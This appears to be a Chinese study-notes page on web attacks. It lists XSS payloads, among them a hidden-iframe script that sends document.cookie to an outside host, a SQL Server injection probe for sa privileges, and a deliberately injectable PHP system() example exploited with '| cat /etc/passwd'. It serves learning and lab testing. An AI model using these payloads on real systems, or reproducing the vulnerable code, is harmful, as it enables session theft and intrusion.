1. 程式人生 > >xss跨站指令碼&&php命令列注入

xss跨站指令碼&&php命令列注入

xss跨站指令碼
<script>alert(42)</script>  (可更改大小寫)    confirm()  prompt()    
<img src="x:x" onerror=alert(42)> (script標籤被遮蔽)
<script>document.write(document.cookie)</script>
<script>document.write("<iframe width=0 height=0 src='http://10.1.1.78/cookie.asp?cookie="+document.cookie+"' ></iframe>");</script>
<script>document.location=("http://www.baidu.com")</script>

<form action="<?php echo $_SERVER['PHP_SELF'];?> method="POST">
your name:<input type="text" name="name"/>
<input type="submit" name="submit" />

http://10.1.1.11:81/xss/example8.php
/"onsubmit=javascript:alert(1)%20name="a

url解碼:%2F / %22 " %7B { %23 #

html中單雙引號交替使用

eval() 函式把字串按照 PHP 程式碼來計算。
eval("\$str = \"$str\";");

http://www.mytest.com/showdetail.asp?id=49 ;and user>0
SQLServer內建物件user user是SQLServer的一個內建變數,它的值是當前連線的使用者名稱,型別為nvarchar
SQLServer的使用者sa是個等同Adminstrators許可權的角色,拿到了sa許可權,幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登入,要注意的是:如果是sa登入,提示是將"dbo"轉換成int的列發生錯誤,而不是"sa"。

burpsuit中spider可能會誤刪資料,因為會對每個按鈕進行測試

linux:如果引數的單個字母,用 “-” ,如果引數是一個單詞或片語,用 “--”

正則表示式:^[0-9]+$ 開頭結尾數字至少重複1次

數字字元'2'asc碼為50 'A'為65 'a'為97

PHP命令列注入
:字元會被轉義 &為%26 拼接命令 |管道符號,將前面命令輸出作為後面命令的輸入 ||前面命令執行失敗則執行後面的,若前面的是正常的,可以改為錯誤的 &
PHP中可以使用下列四個函式來執行外部的應用程式或函式:system、exec、passthru、shell_exec,四個函式的原型如下:
•    string system(string command, int &return_var)
 command 要執行的命令; return_var 存放執行命令的執行後的狀態值。
•    string exec (string command, array &output, int &return_var)
 command 要執行的命令,output 獲得執行命令輸出的每一行字串,return_var 存放執行命令後的狀態值。
•    void passthru (string command, int &return_var)
 command 要執行的命令,return_var 存放執行命令後的狀態值。
•    string shell_exec (string command)
 command 要執行的命令,如下例所示,表示通過提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd操作,執行命令變成了system("ls -al | cat /etc/passwd"),輸出/etc/passwd 檔案的具體內容。
    //ex1.php
    <?php
      $dir = $_GET["dir"];
      if (isset($dir))
      {
        echo "";
          system("ls -al ".$dir);
         echo "";
      }
    ?>